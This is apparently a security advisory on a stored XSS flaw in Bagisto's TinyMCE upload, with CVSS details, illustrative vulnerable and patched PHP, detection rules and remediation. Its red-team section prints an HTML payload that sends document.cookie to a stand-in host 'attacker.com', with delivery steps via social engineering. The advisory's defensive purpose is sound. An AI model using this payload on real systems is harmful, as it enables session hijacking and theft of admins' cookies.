CVE-2025-62415

Executive Summary

CVE-2025-62415 is a stored Cross-Site Scripting (XSS) vulnerability in Bagisto v2.3.7, an open-source Laravel eCommerce platform. The flaw resides in the TinyMCE image upload functionality, which fails to properly sanitize uploaded HTML files. An authenticated attacker with administrative privileges can upload a crafted HTML file containing embedded JavaScript. When the file is subsequently viewed by an admin or other user, the malicious script executes in the context of their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is fixed in Bagisto v2.3.8.

Supply Chain & Package Security

Bagisto is a PHP/Laravel package distributed via Composer. The vulnerability is not in a direct dependency but in the application's own code handling TinyMCE uploads. Users should verify their composer.json for the bagisto/bagisto package and ensure it is updated to ^2.3.8. No malicious packages have been reported in the supply chain for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
• Base Score: 6.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must view the uploaded file)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Medium. While the CVSS score is moderate, the requirement for admin privileges and user interaction reduces the immediate risk. However, once exploited, the impact is severe, allowing full compromise of the admin session.

Deep Dive & Mechanics

The vulnerability exists in the TinyMCE image upload endpoint within Bagisto. The endpoint accepts file uploads and stores them in a publicly accessible directory (e.g., storage/app/public/uploads). The application does not validate the MIME type or content of the uploaded file beyond checking the file extension. An attacker can upload a file with a .html extension containing embedded JavaScript. When the file is accessed via its URL, the browser renders it as HTML, executing the script.

Attack Flow:

1. Attacker logs in as an admin.
2. Attacker navigates to a content editor (e.g., product description, CMS page) that uses TinyMCE.
3. Attacker uses the image upload dialog to upload a malicious HTML file (e.g., exploit.html).
4. The file is stored on the server.
5. Attacker sends the direct URL of the uploaded file to a victim admin (or waits for another admin to view it).
6. Victim opens the URL, and the JavaScript executes in their browser context, stealing cookies, performing actions on their behalf, or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (Bagisto v2.3.7): The upload handler in packages/Webkul/Admin/src/Http/Controllers/Controller.php (or similar) likely only checks the file extension and moves the file without content validation.

// Simplified vulnerable example
public function upload(Request $request) {
    $file = $request->file('file');
    $extension = $file->getClientOriginalExtension();
    // Only checks extension, no MIME or content validation
    if (in_array($extension, ['jpg', 'png', 'gif', 'html'])) {
        $path = $file->store('public/uploads');
        return response()->json(['location' => Storage::url($path)]);
    }
    return response()->json(['error' => 'Invalid file type'], 400);
}

Patched Code (Bagisto v2.3.8): The patched version adds MIME type validation and content inspection to reject HTML files.

// Simplified patched example
public function upload(Request $request) {
    $file = $request->file('file');
    $mime = $file->getMimeType();
    // Reject HTML files by MIME type
    if (strpos($mime, 'text/html') !== false) {
        return response()->json(['error' => 'HTML files are not allowed'], 400);
    }
    $extension = $file->getClientOriginalExtension();
    if (in_array($extension, ['jpg', 'png', 'gif'])) {
        $path = $file->store('public/uploads');
        return response()->json(['location' => Storage::url($path)]);
    }
    return response()->json(['error' => 'Invalid file type'], 400);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for Bagisto v2.3.7.
• Access to a content editor with TinyMCE image upload.

Steps:

1. Create a malicious HTML file (xss.html):

<html>
<body>
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>

2. Log in to Bagisto as admin.
3. Navigate to any page with TinyMCE (e.g., Products > Edit > Description).
4. Click the image upload icon in TinyMCE.
5. Select and upload xss.html.
6. Note the returned URL (e.g., https://target.com/storage/uploads/xss.html).
7. Send this URL to a victim admin via social engineering or internal messaging.
8. When the victim opens the URL, the script executes and exfiltrates their cookies.

Blue Team

Detection:

• Monitor file upload logs for .html files being uploaded via TinyMCE endpoints.
• Alert on any uploads where the MIME type is text/html or the file extension is .html to the upload directory.
• Use WAF rules to block uploads of HTML files to image upload endpoints.

Hunting:

• Search storage directories for .html files that were not intentionally placed.
• Review web server logs for requests to /storage/uploads/*.html with unusual referrers or user agents.

Indicators of Compromise (IOCs)

• File: *.html files in storage/app/public/uploads/ or similar directories.
• URL Pattern: https://target.com/storage/uploads/*.html
• Network: Outbound HTTP requests to attacker-controlled domains from the Bagisto server or admin browsers.
• Log Entry: Web server logs showing POST requests to /admin/.../upload with Content-Type: multipart/form-data and a file named *.html.

Detection Engineering

YARA Rule

rule CVE_2025_62415_Bagisto_XSS {
    meta:
        description = "Detects malicious HTML files uploaded via Bagisto TinyMCE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62415"
    strings:
        $html_marker = "<html" nocase
        $script_tag = "<script" nocase
        $upload_path = "storage/uploads" nocase
    condition:
        $html_marker and $script_tag and $upload_path
}

Sigma Rule

title: Bagisto TinyMCE HTML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to Bagisto TinyMCE endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/admin/'
        cs-uri-stem|contains: '/upload'
        cs-uri-query|contains: '.html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads (unlikely in image upload context)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62415 Bagisto TinyMCE HTML Upload"; flow:to_server; content:"POST"; http_method; content:"/admin/"; http_uri; content:"/upload"; http_uri; content:".html"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Bagisto to version 2.3.8 or later.
2. If upgrade is not possible, manually patch the upload controller to reject HTML files by MIME type and content inspection.
3. Restrict file upload permissions to only trusted admin accounts.

Long-term:

• Implement a Web Application Firewall (WAF) rule to block uploads of .html files to image endpoints.
• Enforce strict MIME type validation on all file uploads.
• Store uploaded files in a directory with X-Content-Type-Options: nosniff header to prevent MIME sniffing.
• Conduct regular security audits of file upload functionality.

Valters IT